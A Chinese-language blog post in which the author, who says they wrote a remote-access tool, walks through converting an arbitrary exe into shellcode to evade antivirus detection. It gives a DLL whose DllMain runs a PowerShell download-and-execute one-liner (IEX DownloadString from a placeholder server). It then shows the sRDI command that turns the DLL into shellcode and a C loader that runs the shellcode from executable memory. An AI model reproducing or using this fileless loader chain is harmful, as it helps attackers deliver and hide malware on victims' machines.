之前写过一个远控,但一直在琢磨如何生成shellcode,今天偶然看见一个项目:sRDI,github上就有
这个项目主要就是将dll转成shellcode,于是我就想到了“写一个输出文件的dll,然后将这个dll转成shellcode不就好了吗?”
测试了一下,真行得通,但是拿到了shellcode并没有什么用,就算静态绕过了动态还是过不去,释放文件的一瞬间就被杀了,没有任何用处……
脑子一抽,我又想到了个方法,“写个注入exe到其他进程的dll不就好了吗?”
但是后期实现的时候才发现注入exe到其他进程是个高级的操作,写起来比较麻烦(我不会
于是乎,想到了另外一种歪门邪道的方法:
正文开始
GitHub - yanncam/exe2powershell: exe2powershell - exe2bat reborn for modern Windows
这个项目可以将一个exe转换成.ps1的powershell脚本,将生成的powershell脚本上传到任意空间/服务器,然后写一个执行一句话木马的dll就好啦(也可以使用其他exe不落地执行的方法代替,步骤一样,还是要上传到空间或服务器,反正能直接访问获取到内容就行了)
#include <windows.h> using namespace std; void powershell() { system("PowerShell.exe -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('http://ip/filename.ps1')");//执行powershell一句话木马 } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved) { switch(fdwReason) { case DLL_PROCESS_ATTACH: { powershell(); } case DLL_PROCESS_DETACH: { break; } case DLL_THREAD_ATTACH: { powershell(); } case DLL_THREAD_DETACH: { break; } } return TRUE; }
创建一个dll项目,将代码复制进去,编译,然后使用sRDI将其转换成shellcode就好了
python ConvertToShellcode.py -i -c name.dll
在\sRDI-master\Python\文件夹中打开cmd输入命令,回车后就会发现文件夹下多出了一个name.bin,这时候基本上大功告成啦!
扩展补充
可以使用winhex等工具将生成好的.bin文件转成.c代码或其他语言的代码,如果直接调用bin文件的话是多文件,实战中不太方便
C语言Shellcode加载器
#include <windows.h> int main(){ unsigned char shellcode[] = { };//输入你的c语言格式的shellcode // Allocate memory for shellcode LPVOID lpShellcode = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpShellcode == NULL)return 0; // Copy shellcode to allocated memory memcpy(lpShellcode, shellcode, sizeof(shellcode)); // Execute shellcode ((void(*)())lpShellcode)(); // Free allocated memory VirtualFree(lpShellcode, 0, MEM_RELEASE); return 0; }
标签:case,Exe,shellcode,ShellCode,dll,exe,lpShellcode,任意,powershell From: https://www.cnblogs.com/BadJui/p/17181398.html